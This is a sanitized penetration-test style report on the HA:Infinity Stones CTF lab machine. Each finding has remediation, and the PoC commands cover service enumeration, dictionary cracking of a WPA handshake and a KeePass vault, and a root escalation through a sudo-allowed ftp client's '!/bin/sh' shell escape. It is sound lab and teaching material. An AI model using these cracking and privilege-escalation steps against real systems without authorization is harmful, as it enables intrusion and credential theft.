HA:Infinity Stones CTF

Security Assessment Report — Detailed Proof of Concept

Victim IP	192.168.31.197
Target	HA:Infinity Stones CTF
Assessment type	Authorized local CTF / lab
Evidence source	User-supplied screenshots, report1.xlsx, and Kioptrix sample report structure

Sanitization: The victim IP and CTF name are retained. Other LAN IPs, device names, MAC addresses, personal identifiers, passwords, recovered wireless keys, and vault secrets are omitted. Commands use placeholders where a secret or local file name would otherwise appear.

How to read this report: Each finding contains a reproducible PoC/validation procedure, the evidence shown in the screenshots, the expected interpretation, and remediation. Steps are intended only for the isolated CTF lab.

1. Executive Summary

The supplied evidence identifies the victim at **192.168.31.197**. Nmap confirms TCP ports 22, 80, 443 and 8080. The screenshots also show web content discovery, an image metadata clue, CTF text clues, a wireless handshake recovery exercise, KeePass database inspection, SSH access to a lab account, and root access through an FTP client allowed by sudo. The exact Jenkins traversal claim is not proven by the screenshot and is treated as a validation item rather than a confirmed exploit.

2. Confirmed Port Inventory

Port	Service from screenshot	Evidence / status
22/tcp	OpenSSH 7.6p1 (Ubuntu)	Open; SSH login shown later. Credentials redacted.
80/tcp	Apache httpd 2.4.29 (Ubuntu)	Open; web title and directory discovery shown.
443/tcp	HTTPS / Apache httpd 2.4.29	Open; certificate dates shown ending 2020-09-14.
8080/tcp	Jetty 9.4.z-SNAPSHOT / Jenkins	Open; Jenkins login page shown.

Note: report1.xlsx references FTP/vsftpd on port 21, but the provided Nmap screenshot does not show port 21 open. It is not listed as a confirmed listening port. The FTP client used for local privilege escalation is a program on the target, not proof of a network FTP service.

3. Detailed Findings and Proof of Concept

F-01 — SSH exposed on TCP/22

Priority: Low–Medium

Evidence: Evidence: Nmap reports OpenSSH 7.6p1 on Ubuntu. The terminal screenshots later show a successful SSH session to the victim under a lab account; the username/password details are intentionally redacted.

PoC — step-by-step (authorized CTF only)

```
Step 1 — Confirm service and banner:
nmap -sV -p22 192.168.31.197

Step 2 — Check SSH host-key and authentication negotiation:
ssh -v <authorized-lab-user>@192.168.31.197

Step 3 — If credentials are provided for the lab, authenticate normally and capture only the successful
session/banner. Do not include the password in the report.
```

Result / interpretation: Expected/observed result: TCP/22 is open and identifies OpenSSH 7.6p1. The screenshot shows an authenticated session, but does not prove an SSH-specific CVE or weak authentication policy by itself.

Remediation: Restrict SSH to trusted lab sources; use key-based authentication where practical; disable unused password login; update OpenSSH; monitor failed logins and enable rate limiting.

F-02 — HTTP service and directory enumeration on TCP/80

Priority: Medium

Evidence: Evidence: Apache httpd 2.4.29 is detected. Gobuster shows .htaccess/.htpasswd-related paths returning HTTP 403 and several directories returning redirects. A 403 response is not proof that file contents are disclosed.

PoC — step-by-step (authorized CTF only)

```
Step 1 — Identify service and title:
nmap -sV -sC -p80 192.168.31.197

Step 2 — Enumerate paths in the authorized lab:
gobuster dir -u http://192.168.31.197/ -w /usr/share/wordlists/dirb/big.txt -x php

Step 3 — Validate a discovered path without bypassing access controls:
curl -i http://192.168.31.197/.htpasswd
curl -i http://192.168.31.197/images/

Record status code and response size; redact unrelated IPs and hostnames.
```

Result / interpretation: Expected/observed result: The screenshot shows 403 for sensitive-looking dotfiles and 301 redirects for images/img/wifi. This proves path discoverability, not successful access to protected files.

Remediation: Remove unnecessary files and backups from the web root; prevent directory listing; keep Apache patched; enforce access control; review redirects and server headers.

F-03 — Expired HTTPS certificate on TCP/443

Priority: Medium

Evidence: Evidence: Nmap identifies HTTPS on port 443. The certificate dates visible in the screenshot are 2019-09-15 through 2020-09-14, so the certificate was expired at the time of the captured assessment.

PoC — step-by-step (authorized CTF only)

```
Step 1 — Inspect the certificate:
nmap -p443 --script ssl-cert 192.168.31.197

Step 2 — Verify certificate dates and handshake:
openssl s_client -connect 192.168.31.197:443 -servername 192.168.31.197 </dev/null

Step 3 — For a TLS configuration assessment, enumerate supported protocols/ciphers:
nmap -p443 --script ssl-enum-ciphers 192.168.31.197
```

Result / interpretation: Expected/observed result: Certificate validity should show a notAfter date in the past if the service still uses the certificate in the screenshot. Weak protocols/ciphers must be reported only if the separate cipher scan confirms them.

Remediation: Renew the certificate, deploy the full correct chain, configure supported TLS versions/ciphers, and monitor certificate expiry automatically.

F-04 — Jenkins/Jetty management interface on TCP/8080

Priority: High — validate exploitability

Evidence: Evidence: Nmap identifies Jetty 9.4.z-SNAPSHOT and a Jenkins login page. The screenshot includes a traversal-style URL targeting /etc/passwd, but the displayed response is still the Jenkins login form. Therefore successful path traversal or local-file disclosure is not established.

PoC — step-by-step (authorized CTF only)

```
Step 1 — Confirm service and page:
nmap -sV -p8080 --script http-title,http-headers,http-robots.txt 192.168.31.197
curl -i http://192.168.31.197:8080/

Step 2 — Record whether Jenkins requires authentication and whether any information is exposed without login.
Do not assume the version string alone proves an exploitable CVE.

Step 3 — If testing traversal in the isolated CTF, use a harmless canary file created for the test and verify
the response body. Stop if the response is only the login page or an error; do not claim success without file
contents.
```

Result / interpretation: Expected/observed result: Jenkins login is confirmed. Traversal is an unconfirmed hypothesis in the provided evidence. A successful PoC would require a response containing the canary/file contents, not just a crafted URL in the address bar.

Remediation: Upgrade Jenkins and Jetty; restrict port 8080 to trusted administrators; enforce authentication and least privilege; update plugins; review access logs for traversal attempts.

F-05 — CTF clue embedded in image metadata

Priority: Informational

Evidence: Evidence: The downloaded space.jpg is inspected with ExifTool. The screenshot shows a SPACESTONE marker in the JPEG Comment field.

PoC — step-by-step (authorized CTF only)

```
Step 1 — Download the image from the discovered path:
wget -O space.jpg http://192.168.31.197/img/space.jpg

Step 2 — Inspect metadata:
exiftool space.jpg

Step 3 — Review the Comment field. Keep the CTF marker as evidence but do not include unrelated local machine
identifiers.
```

Result / interpretation: Expected/observed result: The metadata output shows a CTF clue in the Comment field. This is a deliberate challenge artefact; it is not by itself a production vulnerability.

Remediation: Strip unnecessary EXIF/comment metadata from public assets before publication.

F-06 — Publicly discoverable CTF clue files

Priority: Informational–Medium

Evidence: Evidence: Gobuster finds web paths, and the screenshots show a REALITYSTONE marker in realitystone.txt, an Avengers quiz at /aether.php, and an encoded-looking hints.txt file. These appear to be intentional challenge resources.

PoC — step-by-step (authorized CTF only)

```
Step 1 — Fetch the visible text clue:
curl -i http://192.168.31.197/realitystone.txt

Step 2 — Fetch the hint resource:
curl -i http://192.168.31.197/01101001/hints.txt

Step 3 — Inspect the quiz manually in a browser at:
http://192.168.31.197/aether.php

Step 4 — For a CTF-only encoded hint, save the response and inspect its character pattern; do not infer a
vulnerability solely because a hint file is public.
```

Result / interpretation: Expected/observed result: The screenshots show the REALITYSTONE marker and a hints file. The report records the evidence without guessing any missing flag values.

Remediation: Do not store real secrets in publicly served files. Separate challenge clues from production assets and verify that only intended content is public.

F-07 — WPA handshake dictionary recovery in the lab

Priority: Lab evidence; wireless security concern

Evidence: Evidence: Aircrack-ng output shows a capture with one WPA handshake and a dictionary-based key recovery. The SSID and recovered key are deliberately omitted to avoid redisclosing credentials.

PoC — step-by-step (authorized CTF only)

```
Step 1 — Confirm the capture has a handshake:
aircrack-ng <authorized-capture.cap>

Step 2 — If you own or are authorized to test the network, perform a dictionary test against the capture:
aircrack-ng -w <authorized-wordlist.txt> <authorized-capture.cap>

Step 3 — Store the result as evidence without copying the recovered key into the report.
```

Result / interpretation: Expected/observed result: The screenshot shows KEY FOUND, demonstrating that the captured network passphrase was present in the tested wordlist. This is wireless evidence, not a TCP port on the victim host.

Remediation: Use a long unique passphrase; prefer WPA3 where supported or WPA2-AES; disable WPS; rotate the key if the network is real and exposed.

F-08 — KeePass database exposes a CTF clue after database access

Priority: Lab evidence; credential handling risk

Evidence: Evidence: The screenshots show a KeePass database being processed and opened, with an entry named “Power Stone” and a POWERSTONE marker in its notes. The entry password and master password are redacted.

PoC — step-by-step (authorized CTF only)

```
Step 1 — In the authorized lab, identify whether a KeePass database file is present:
ls -l <database.kdbx>

Step 2 — For an authorized offline audit, extract a password-audit hash:
keepass2john <database.kdbx> > <hash-file>

Step 3 — Run a permitted dictionary audit only on the lab file:
john <hash-file> --wordlist=<authorized-wordlist.txt>

Step 4 — Open the database with KeePass/KeePassXC and inspect the CTF entry. Do not print or publish password
fields.
```

Result / interpretation: Expected/observed result: The screenshot confirms an entry titled Power Stone and a CTF marker. Do not infer that a real user's credentials were exposed; the evidence is from the challenge.

Remediation: Use a strong unique master password, protect backups, restrict access to vault files, and rotate any real credentials stored in an exposed database.

F-09 — SSH account to root via sudo-allowed FTP client

Priority: Critical impact in lab

Evidence: Evidence: The terminal screenshot shows the lab user running `sudo -l`; the output lists `/usr/bin/ftp` as executable as root without a password. The user then runs the FTP client, invokes a shell escape, confirms `uid=0(root)`, and reads `/root/final.txt`. This is the clearest demonstrated privilege-escalation path in the screenshots.

PoC — step-by-step (authorized CTF only)

```
Step 1 — After obtaining the authorized lab account, inspect sudo permissions:
sudo -l

Step 2 — The screenshot shows `/usr/bin/ftp` allowed as root without a password. In this isolated CTF only,
launch the permitted binary:
sudo /usr/bin/ftp

Step 3 — At the FTP prompt, use the client’s shell escape:
!/bin/sh

Step 4 — Verify impact:
id
whoami

Step 5 — The supplied screenshot shows the resulting root shell reading `/root/final.txt`. Do not include the
flag or any credential value in public reports unless the challenge owner permits it.
```

Result / interpretation: Expected/observed result: The captured terminal confirms uid=0(root). Root cause is an unsafe sudoers rule allowing a shell-escape-capable program to run as root, not an FTP network service on port 21.

Remediation: Remove the sudo rule for ftp; do not grant unrestricted sudo to interactive utilities; use command-specific wrappers with no shell escape; audit sudoers and log privileged execution.

4. Sanitized CTF Markers

SPACESTONE: visible in the EXIF Comment field of space.jpg.

REALITYSTONE: visible in realitystone.txt.

POWERSTONE: visible in the KeePass “Power Stone” entry notes.

The final terminal screenshot shows a successful root shell and a final.txt file, but the flag value is not clearly readable in the supplied screenshot and is not guessed.

5. Consolidated Remediation Plan

1. Remove unrestricted sudo access to `/usr/bin/ftp` and audit all sudoers rules for shell-escape-capable binaries.
2. Restrict Jenkins/Jetty management access and patch supported versions; validate traversal before reporting it as confirmed.
3. Renew the HTTPS certificate and verify TLS settings with scan output.
4. Minimize public web content, remove sensitive files, and strip image metadata.
5. Restrict SSH access, harden authentication, and monitor failed logins.
6. Rotate any real passwords/keys that may have been exposed during lab exercises.

6. Evidence Limitations

This report is based on supplied screenshots, the workbook, and the Kioptrix sample’s structure. No new scan was executed. Other hosts/IPs and MAC addresses are not reproduced. Port 21 is not confirmed open by the supplied Nmap screenshot. Jenkins traversal is not confirmed because the screenshot does not show file contents. The root escalation via sudo-allowed FTP is supported by the terminal sequence visible in the evidence.

Appendix — Safe service validation commands

```
nmap -sV -p22,80,443,8080 192.168.31.197
curl -I http://192.168.31.197/
curl -k -I https://192.168.31.197/
curl -i http://192.168.31.197:8080/
nmap -p443 --script ssl-cert,ssl-enum-ciphers 192.168.31.197
```

Only run these checks against the authorized CTF target. Replace file placeholders with local lab filenames and never publish passwords, wireless keys, or personal account details.